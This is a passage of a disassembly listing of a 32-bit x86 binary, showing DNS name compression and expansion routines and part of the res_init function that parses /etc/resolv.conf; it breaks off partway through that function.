; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D2FC:				; CODE XREF: sub_804D2A0+11Aj
		dec	edi
		jmp	loc_804D3D5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D304:				; CODE XREF: sub_804D2A0+29j
		mov	[ebp+var_10], 0

loc_804D30B:				; CODE XREF: sub_804D2A0+39j
					; sub_804D2A0+5Aj
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	loc_804D3D5
		nop

loc_804D318:				; CODE XREF: sub_804D2A0+12Fj
		cmp	[ebp+var_10], 0
		jz	short loc_804D382
		mov	edx, [ebp+var_8]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+var_10]
		push	edx
		lea	eax, [esi-1]
		push	eax
		call	sub_804D484
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jl	short loc_804D360
		lea	ebx, [edi+1]
		cmp	[ebp+var_C], ebx
		jbe	loc_804D3E9
		sar	eax, 8
		or	al, 0C0h
		mov	[edi], al
		mov	edi, ebx
		mov	edx, edi
		inc	edi
		mov	al, cl
		mov	[edx], al
		jmp	loc_804D3F4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D360:				; CODE XREF: sub_804D2A0+9Aj
		cmp	[ebp+arg_10], 0
		jz	short loc_804D382
		mov	eax, [ebp+arg_10]
		add	eax, 0FFFFFFFCh
		cmp	[ebp+var_4], eax
		jnb	short loc_804D382
		mov	edx, [ebp+var_4]
		mov	[edx], edi
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	dword ptr [edx], 0

loc_804D382:				; CODE XREF: sub_804D2A0+7Cj
					; sub_804D2A0+C4j ...
		mov	[ebp+var_14], edi
		inc	edi
		jmp	short loc_804D3A7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D388:				; CODE XREF: sub_804D2A0+10Aj
		cmp	ebx, 5Ch
		jnz	short loc_804D395
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_804D3B0

loc_804D395:				; CODE XREF: sub_804D2A0+EBj
		cmp	[ebp+var_C], edi
		jbe	short loc_804D3DA
		mov	al, bl
		mov	[edi], al
		inc	edi
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_804D3B0

loc_804D3A7:				; CODE XREF: sub_804D2A0+E6j
		cmp	ebx, 2Eh
		jnz	short loc_804D388
		movzx	ebx, byte ptr [esi]
		inc	esi

loc_804D3B0:				; CODE XREF: sub_804D2A0+F3j
					; sub_804D2A0+105j
		mov	ecx, edi
		sub	ecx, [ebp+var_14]
		dec	ecx
		jnz	short loc_804D3C0
		test	ebx, ebx
		jz	loc_804D2FC

loc_804D3C0:				; CODE XREF: sub_804D2A0+116j
		lea	eax, [ecx-1]
		cmp	eax, 3Eh
		ja	short loc_804D3DA
		mov	edx, [ebp+var_14]
		mov	[edx], cl
		test	ebx, ebx
		jnz	loc_804D318

loc_804D3D5:				; CODE XREF: sub_804D2A0+5Dj
					; sub_804D2A0+71j
		cmp	[ebp+var_C], edi
		ja	short loc_804D3F0

loc_804D3DA:				; CODE XREF: sub_804D2A0+F8j
					; sub_804D2A0+126j
		cmp	[ebp+var_10], 0
		jz	short loc_804D3E9
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0

loc_804D3E9:				; CODE XREF: sub_804D2A0+A2j
					; sub_804D2A0+13Ej
		mov	eax, 0FFFFFFFFh
		jmp	short loc_804D3F9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D3F0:				; CODE XREF: sub_804D2A0+138j
		mov	byte ptr [edi],	0
		inc	edi

loc_804D3F4:				; CODE XREF: sub_804D2A0+B8j
		mov	eax, edi
		sub	eax, [ebp+arg_4]

loc_804D3F9:				; CODE XREF: sub_804D2A0+14Ej
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804D2A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D404	proc near		; CODE XREF: sub_805EFB0+88p
					; sub_805EFB0+E0p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, esi
		cmp	esi, ebx
		jnb	short loc_804D440
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804D418:				; CODE XREF: sub_804D404+3Aj
		movzx	edx, byte ptr [eax]
		inc	eax
		test	edx, edx
		jz	short loc_804D440
		mov	ecx, edx
		and	ecx, 0C0h
		jz	short loc_804D434
		cmp	ecx, 0C0h
		jz	short loc_804D438
		jmp	short loc_804D448
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D434:				; CODE XREF: sub_804D404+24j
		add	eax, edx
		jmp	short loc_804D43C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D438:				; CODE XREF: sub_804D404+2Cj
		inc	eax
		jmp	short loc_804D440
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D43C:				; CODE XREF: sub_804D404+32j
		cmp	eax, ebx
		jb	short loc_804D418

loc_804D440:				; CODE XREF: sub_804D404+Fj
					; sub_804D404+1Aj ...
		cmp	eax, ebx
		ja	short loc_804D448
		sub	eax, esi
		jmp	short loc_804D44D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D448:				; CODE XREF: sub_804D404+2Ej
					; sub_804D404+3Ej
		mov	eax, 0FFFFFFFFh

loc_804D44D:				; CODE XREF: sub_804D404+42j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_804D404	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D458	proc near		; CODE XREF: sub_804D484+81p
					; sub_804D484+8Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		test	dl, dl
		jl	short loc_804D47C
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	1
		jz	short loc_804D47C
		mov	eax, dword_8078FA4
		mov	eax, [eax+edx*4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D47C:				; CODE XREF: sub_804D458+8j
					; sub_804D458+14j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_804D458	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D484	proc near		; CODE XREF: sub_804D2A0+8Ep

var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		jmp	loc_804D69C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D498:				; CODE XREF: sub_804D484+21Ej
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[ebp+var_8], ecx
		movzx	esi, byte ptr [ecx]
		mov	edi, ecx
		jmp	loc_804D681
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D4B0:				; CODE XREF: sub_804D484+200j
		mov	eax, esi
		and	eax, 0C0h
		jz	short loc_804D4CC
		cmp	eax, 0C0h
		jz	loc_804D66C
		jmp	loc_804D6A8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D4CC:				; CODE XREF: sub_804D484+33j
		dec	esi
		js	loc_804D656
		mov	eax, esi
		not	eax
		and	eax, 3
		cmp	esi, 0FFFFFFFFh
		jle	short loc_804D557
		test	eax, eax
		jz	loc_804D590
		cmp	eax, 3
		jge	short loc_804D557
		cmp	eax, 2
		jge	short loc_804D524
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D500
		inc	ebx

loc_804D500:				; CODE XREF: sub_804D484+79j
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_C], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_C], eax
		jnz	loc_804D698
		dec	esi

loc_804D524:				; CODE XREF: sub_804D484+6Bj
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D533
		inc	ebx

loc_804D533:				; CODE XREF: sub_804D484+ACj
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_10], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_10], eax
		jnz	loc_804D698
		dec	esi

loc_804D557:				; CODE XREF: sub_804D484+59j
					; sub_804D484+66j
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D566
		inc	ebx

loc_804D566:				; CODE XREF: sub_804D484+DFj
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_14], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_14], eax
		jnz	loc_804D698
		dec	esi
		js	loc_804D656

loc_804D590:				; CODE XREF: sub_804D484+5Dj
					; sub_804D484+1CCj
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D59F
		inc	ebx

loc_804D59F:				; CODE XREF: sub_804D484+118j
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_18], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_18], eax
		jnz	loc_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D5D2
		inc	ebx

loc_804D5D2:				; CODE XREF: sub_804D484+14Bj
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_1C], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_1C], eax
		jnz	loc_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D605
		inc	ebx

loc_804D605:				; CODE XREF: sub_804D484+17Ej
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_20], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_20], eax
		jnz	short loc_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D630
		inc	ebx

loc_804D630:				; CODE XREF: sub_804D484+1A9j
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_24], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_24], eax
		jnz	short loc_804D698
		dec	esi
		jns	loc_804D590

loc_804D656:				; CODE XREF: sub_804D484+49j
					; sub_804D484+106j
		movzx	esi, byte ptr [ebx]
		inc	ebx
		test	esi, esi
		jnz	short loc_804D663
		cmp	byte ptr [edi],	0
		jz	short loc_804D68F

loc_804D663:				; CODE XREF: sub_804D484+1D8j
		cmp	esi, 2Eh
		jz	short loc_804D67E
		jmp	short loc_804D698
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D66C:				; CODE XREF: sub_804D484+3Aj
		mov	eax, esi
		and	eax, 3Fh
		shl	eax, 8
		movzx	edx, byte ptr [edi]
		or	eax, edx
		mov	edi, [ebp+arg_4]
		add	edi, eax

loc_804D67E:				; CODE XREF: sub_804D484+1E2j
		movzx	esi, byte ptr [edi]

loc_804D681:				; CODE XREF: sub_804D484+24j
		inc	edi
		test	esi, esi
		jnz	loc_804D4B0
		cmp	byte ptr [ebx],	0
		jnz	short loc_804D698

loc_804D68F:				; CODE XREF: sub_804D484+1DDj
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		jmp	short loc_804D6AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D698:				; CODE XREF: sub_804D484+70j
					; sub_804D484+99j ...
		add	[ebp+var_4], 4

loc_804D69C:				; CODE XREF: sub_804D484+Fj
		mov	ecx, [ebp+arg_C]
		cmp	[ebp+var_4], ecx
		jb	loc_804D498

loc_804D6A8:				; CODE XREF: sub_804D484+40j
		mov	eax, 0FFFFFFFFh

loc_804D6AD:				; CODE XREF: sub_804D484+211j
		lea	esp, [ebp+var_30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804D484	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D6B8	proc near		; CODE XREF: getanswer+19Fp
					; getanswer+1ADp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dl, [eax]
		shl	dx, 8
		movzx	ax, byte ptr [eax+1]
		or	dx, ax
		movzx	eax, dx
		mov	esp, ebp
		pop	ebp
		retn
sub_804D6B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D6D4	proc near		; CODE XREF: sub_805F7E4+66p
					; sub_805F7E4+41Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	cl, [edx]
		shl	ecx, 18h
		movzx	eax, byte ptr [edx+1]
		shl	eax, 10h
		or	ecx, eax
		movzx	eax, byte ptr [edx+2]
		shl	eax, 8
		or	ecx, eax
		movzx	eax, byte ptr [edx+3]
		or	ecx, eax
		mov	eax, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_804D6D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D700	proc near		; CODE XREF: sub_804EA0C+283p
					; sub_80608C8+113p ...

arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	dx, [ebp+arg_0]
		mov	eax, edx
		shr	ax, 8
		mov	[ecx], al
		mov	[ecx+1], dl
		mov	esp, ebp
		pop	ebp
		retn
sub_804D700	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D71C	proc near		; CODE XREF: sub_80608C8+188p
					; sub_80608C8+1D9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, ecx
		shr	eax, 18h
		mov	[edx], al
		mov	eax, ecx
		shr	eax, 10h
		mov	[edx+1], al
		mov	eax, ecx
		shr	eax, 8
		mov	[edx+2], al
		mov	[edx+3], cl
		mov	esp, ebp
		pop	ebp
		retn
sub_804D71C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

res_init	proc near		; CODE XREF: init_services_resolv+209p
					; init_services_resolv+ACFp ...

var_430		= byte ptr -430h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
var_3FA		= byte ptr -3FAh
var_3F9		= byte ptr -3F9h
var_3F8		= byte ptr -3F8h
var_3F6		= byte ptr -3F6h

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_410], 0
		mov	[ebp+var_414], 0
		mov	[ebp+var_418], 0
		mov	[ebp+var_41C], 0
		cmp	dword_8078544, 0
		jnz	short loc_804D78B
		mov	dword_8078544, 5

loc_804D78B:				; CODE XREF: res_init+3Bj
		cmp	dword_8078548, 0
		jnz	short loc_804D79E
		mov	dword_8078548, 4

loc_804D79E:				; CODE XREF: res_init+4Ej
		test	byte ptr dword_807854C,	1
		jnz	short loc_804D7B1
		mov	dword_807854C, 2C0h

loc_804D7B1:				; CODE XREF: res_init+61j
		cmp	word_8078584, 0
		jnz	short loc_804D7C6
		call	res_randomid
		mov	word_8078584, ax

loc_804D7C6:				; CODE XREF: res_init+75j
		mov	dword_8078558, 0
		mov	word ptr dword_8078554,	2
		mov	word ptr dword_8078554+2, 3500h
		mov	dword_8078550, 1
		and	byte_80786A8, 0F0h
		or	byte_80786A8, 1
		mov	dword_80786A4, 0
		push	offset aLocaldomain ; "LOCALDOMAIN"
		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_804D8B4
		push	0FFh
		push	ebx
		push	offset byte_80785A4
		call	strncpy
		inc	[ebp+var_414]
		mov	ebx, offset byte_80785A4
		mov	dword_8078588, offset byte_80785A4
		mov	edx, offset dword_807858C
		xor	esi, esi
		add	esp, 0Ch
		cmp	byte_80785A4, 0
		jz	short loc_804D8AB
		nop

loc_804D854:				; CODE XREF: res_init+14Dj
		cmp	edx, offset unk_80785A0
		jnb	short loc_804D8A1
		cmp	byte ptr [ebx],	0Ah
		jz	short loc_804D8A1
		cmp	byte ptr [ebx],	20h
		jz	short loc_804D86B
		cmp	byte ptr [ebx],	9
		jnz	short loc_804D878

loc_804D86B:				; CODE XREF: res_init+120j
		mov	byte ptr [ebx],	0
		mov	esi, 1
		jmp	short loc_804D88D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D878:				; CODE XREF: res_init+125j
		test	esi, esi
		jz	short loc_804D88D
		mov	[edx], ebx
		add	edx, 4
		xor	esi, esi
		mov	[ebp+var_418], 1

loc_804D88D:				; CODE XREF: res_init+12Fj
					; res_init+136j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_804D854
		jmp	short loc_804D8A1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D898:				; CODE XREF: res_init+165j
		mov	al, [ebx]
		add	al, 0F7h
		cmp	al, 1
		jbe	short loc_804D8AB
		inc	ebx

loc_804D8A1:				; CODE XREF: res_init+116j
					; res_init+11Bj ...
		cmp	byte ptr [ebx],	0
		jz	short loc_804D8AB
		cmp	byte ptr [ebx],	20h
		jnz	short loc_804D898

loc_804D8AB:				; CODE XREF: res_init+10Dj
					; res_init+15Aj ...
		mov	byte ptr [ebx],	0
		mov	dword ptr [edx], 0

loc_804D8B4:				; CODE XREF: res_init+D1j
		push	offset aR_0	; "r"
		push	offset aEtcResolv_conf ; "/etc/resolv.conf"
		call	fopen
		mov	[ebp+var_40C], eax
		add	esp, 8
		test	eax, eax
		jz	loc_804DDD2
		lea	ecx, [ebp+var_400]
		mov	[ebp+var_424], ecx

loc_804D8E0:				; CODE XREF: res_init+1C6j
					; res_init+1CFj ...
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	400h
		mov	ecx, [ebp+var_424]
		push	ecx
		call	fgets
		add	esp, 0Ch
		test	eax, eax
		jz	loc_804DD98
		cmp	[ebp+var_400], 3Bh
		jz	short loc_804D8E0
		cmp	[ebp+var_400], 23h
		jz	short loc_804D8E0
		push	6
		push	offset aDomain	; "domain"
		mov	ecx, [ebp+var_424]
		push	ecx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_804D9C0
		cmp	[ebp+var_3FA], 20h
		jz	short loc_804D945
		cmp	[ebp+var_3FA], 9
		jnz	short loc_804D9C0

loc_804D945:				; CODE XREF: res_init+1F6j
		cmp	[ebp+var_414], 0
		jnz	short loc_804D8E0
		lea	ebx, [ebp+var_3FA]
		cmp	[ebp+var_3FA], 20h
		jz	short loc_804D968
		cmp	[ebp+var_3FA], 9
		jnz	short loc_804D973
		lea	esi, [esi]

loc_804D968:				; CODE XREF: res_init+217j
					; res_init+228j ...
		inc	ebx
		cmp	byte ptr [ebx],	20h
		jz	short loc_804D968
		cmp	byte ptr [ebx],	9
		jz	short loc_804D968

loc_804D973:				; CODE XREF: res_init+220j
		cmp	byte ptr [ebx],	0
		jz	loc_804D8E0
		cmp	byte ptr [ebx],	0Ah
		jz	loc_804D8E0
		push	0FFh
		push	ebx
		push	offset byte_80785A4
		call	strncpy
		push	offset asc_8067C27 ; " \t\n"
		push	offset byte_80785A4
		call	strpbrk
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jz	short loc_804D9B0
		mov	byte ptr [ebx],	0

loc_804D9B0:				; CODE XREF: res_init+267j
		mov	[ebp+var_418], 0
		jmp	loc_804D8E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D9C0:				; CODE XREF: res_init+1E9j
					; res_init+1FFj
		push	6
		push	offset aSearch	; "search"
		mov	ecx, [ebp+var_424]
		push	ecx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_804DAD8
		cmp	[ebp+var_3FA], 20h
		jz	short loc_804D9F4
		cmp	[ebp+var_3FA], 9
		jnz	loc_804DAD8

loc_804D9F4:				; CODE XREF: res_init+2A1j
		cmp	[ebp+var_414], 0
		jnz	loc_804D8E0
		lea	ebx, [ebp+var_3FA]
		cmp	[ebp+var_3FA], 20h
		jz	short loc_804DA1C
		cmp	[ebp+var_3FA], 9
		jnz	short loc_804DA27
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804DA1C:				; CODE XREF: res_init+2CAj
					; res_init+2DCj ...
		inc	ebx
		cmp	byte ptr [ebx],	20h
		jz	short loc_804DA1C
		cmp	byte ptr [ebx],	9
		jz	short loc_804DA1C

loc_804DA27:				; CODE XREF: res_init+2D3j
		cmp	byte ptr [ebx],	0
		jz	loc_804D8E0
		cmp	byte ptr [ebx],	0Ah
		jz	loc_804D8E0
		push	0FFh
		push	ebx
		push	offset byte_80785A4
		call	strncpy
		push	0Ah
		push	offset byte_80785A4
		call	strchr
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jz	short loc_804DA61
		mov	byte ptr [ebx],	0

loc_804DA61:				; CODE XREF: res_init+318j
		mov	ebx, offset byte_80785A4
		mov	dword_8078588, offset byte_80785A4
		mov	edx, offset dword_807858C
		xor	esi, esi
		cmp	byte_80785A4, 0
		jz	short loc_804DAC0

loc_804DA80:				; CODE XREF: res_init+367j
		cmp	edx, offset unk_80785A0
		jnb	short loc_804DAB6
		cmp	byte ptr [ebx],	20h
		jz	short loc_804DA92
		cmp	byte ptr [ebx],	9
		jnz	short loc_804DA9C

loc_804DA92:				; CODE XREF: res_init+347j
		mov	byte ptr [ebx],	0
		mov	esi, 1
		jmp	short loc_804DAA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DA9C:				; CODE XREF: res_init+34Cj
		test	esi, esi
		jz	short loc_804DAA7
		mov	[edx], ebx
		add	edx, 4
		xor	esi, esi

loc_804DAA7:				; CODE XREF: res_init+356j
					; res_init+35Aj
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_804DA80
		jmp	short loc_804DAB6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804DAB0:				; CODE XREF: res_init+37Aj
		cmp	byte ptr [ebx],	9
		jz	short loc_804DAC0
		inc	ebx

loc_804DAB6:				; CODE XREF: res_init+342j
					; res_init+369j
		cmp	byte ptr [ebx],	0
		jz	short loc_804DAC0
		cmp	byte ptr [ebx],	20h
		jnz	short loc_804DAB0

loc_804DAC0:				; CODE XREF: res_init+33Aj
					; res_init+36Fj ...
		mov	byte ptr [ebx],	0
		mov	dword ptr [edx], 0
		mov	[ebp+var_418], 1
		jmp	loc_804D8E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DAD8:				; CODE XREF: res_init+294j
					; res_init+2AAj
		push	0Ah
		push	offset aNameserver ; "nameserver"
		mov	ecx, [ebp+var_424]
		push	ecx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_804DB9C
		cmp	[ebp+var_3F6], 20h
		jz	short loc_804DB0C
		cmp	[ebp+var_3F6], 9
		jnz	loc_804DB9C

loc_804DB0C:				; CODE XREF: res_init+3B9j
		cmp	[ebp+var_410], 2
		jg	loc_804DB9C
		lea	ebx, [ebp+var_3F6]
		cmp	[ebp+var_3F6], 20h
		jz	short loc_804DB34
		cmp	[ebp+var_3F6], 9
		jnz	short loc_804DB3F
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804DB34:				; CODE XREF: res_init+3E2j
					; res_init+3F4j ...
		inc	ebx
		cmp	byte ptr [ebx],	20h
		jz	short loc_804DB34
		cmp	byte ptr [ebx],	9
		jz	short loc_804DB34

loc_804DB3F:				; CODE XREF: res_init+3EBj
		cmp	byte ptr [ebx],	0
		jz	loc_804D8E0
		cmp	byte ptr [ebx],	0Ah
		jz	loc_804D8E0
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	inet_aton
		add	esp, 8
		test	eax, eax
		jz	loc_804D8E0
		mov	edx, [ebp+var_410]
		shl	edx, 4
		mov	eax, [ebp+var_404]
		mov	dword_8078558[edx], eax
		mov	word ptr dword_8078554[edx], 2
		mov	word ptr (dword_8078554+2)[edx], 3500h
		inc	[ebp+var_410]
		jmp	loc_804D8E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804DB9C:				; CODE XREF: res_init+3ACj
					; res_init+3C2j ...
		push	8
		push	offset aSortlist ; "sortlist"
		mov	ecx, [ebp+var_424]
		push	ecx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_804DD48
		cmp	[ebp+var_3F8], 20h
		jz	short loc_804DBD0
		cmp	[ebp+var_3F8], 9
		jnz	loc_804DD48

loc_804DBD0:				; CODE XREF: res_init+47Dj
